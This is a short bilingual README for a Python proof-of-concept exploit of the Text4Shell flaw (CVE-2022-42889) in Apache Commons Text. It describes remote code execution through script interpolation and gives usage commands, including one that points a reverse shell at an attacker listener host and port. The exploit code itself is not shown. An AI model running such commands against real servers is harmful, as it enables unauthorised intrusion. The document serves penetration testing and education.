
Proof of Concept (PoC) for CVE-2022-42889 (Text4Shell) targeting Apache Commons Text versions prior to 1.10.0. This script automates Remote Code Execution (RCE) via script interpolation to establish a reverse shell. This version is a structured optimization based on the original exploit found at Exploit-DB (ID: 52261).
Dieses Skript ist ein Penetrationstest-Tool, das entwickelt wurde, um die Schwachstelle CVE-2022-42889, auch bekannt als Text4Shell, in Apache Commons Text (Versionen < 1.10.0) auszunutzen. Es automatisiert die Bereitstellung eines Java-basierten Payloads, um eine Reverse Shell auszulösen.
Diese Implementierung basiert auf dem öffentlichen Exploit: https://www.exploit-db.com/exploits/52261
Das Skript erfordert Python 3 und die requests-Bibliothek.
pip install requests
python3 exploit.py -t $IP -p $PORT -u <path> -param $PARAMETER -L $LHOST -P $LPORT
python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139
Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Penetrationstests bestimmt. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Skript verursacht werden.